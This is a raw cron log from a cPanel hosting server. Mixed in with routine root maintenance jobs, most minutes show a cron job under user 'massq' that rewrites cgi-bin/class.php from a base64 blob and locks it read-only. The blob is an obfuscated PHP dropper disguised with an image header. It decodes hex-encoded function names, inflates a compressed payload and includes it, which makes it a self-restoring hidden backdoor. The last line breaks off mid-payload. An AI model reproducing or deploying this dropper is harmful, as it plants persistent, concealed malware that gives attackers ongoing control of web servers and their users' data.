Sep  2 23:55:01 server CROND[15585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:55:01 server CROND[15589]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:56:01 server CROND[16567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:56:01 server CROND[16568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:56:01 server CROND[16569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:57:01 server CROND[16955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:57:01 server CROND[16954]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:57:01 server CROND[16956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:57:01 server CROND[16957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:58:01 server CROND[17336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:58:01 server CROND[17338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:58:01 server CROND[17337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:59:01 server CROND[17785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:59:01 server CROND[17786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:59:01 server CROND[17787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:00:01 server CROND[18351]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:00:01 server CROND[18352]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  3 00:00:01 server CROND[18356]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:00:01 server CROND[18355]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:00:01 server CROND[18363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:00:01 server CROND[18362]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 00:00:01 server CROND[18360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:00:01 server CROND[18364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:00:01 server CROND[18359]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:00:01 server CROND[18361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:00:01 server CROND[18367]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 00:01:01 server CROND[19301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:01:01 server CROND[19303]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 00:01:01 server CROND[19302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:01:01 server CROND[19304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:01:01 server run-parts(/etc/cron.hourly)[19303]: starting 0anacron
Sep  3 00:01:01 server anacron[19324]: Anacron started on 2026-09-03
Sep  3 00:01:01 server anacron[19324]: Normal exit (0 jobs run)
Sep  3 00:01:01 server run-parts(/etc/cron.hourly)[19326]: finished 0anacron
Sep  3 00:02:01 server CROND[19699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:02:01 server CROND[19700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:02:01 server CROND[19701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:03:01 server CROND[20090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:03:01 server CROND[20091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:03:01 server CROND[20092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:04:01 server CROND[20460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:04:01 server CROND[20461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:04:01 server CROND[20462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:05:01 server CROND[20949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:05:01 server CROND[20954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:05:01 server CROND[20959]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:05:01 server CROND[20962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:05:01 server CROND[20966]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:05:01 server CROND[20968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:05:01 server CROND[20963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:05:01 server CROND[20970]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:06:01 server CROND[21808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:06:01 server CROND[21809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:06:01 server CROND[21810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0O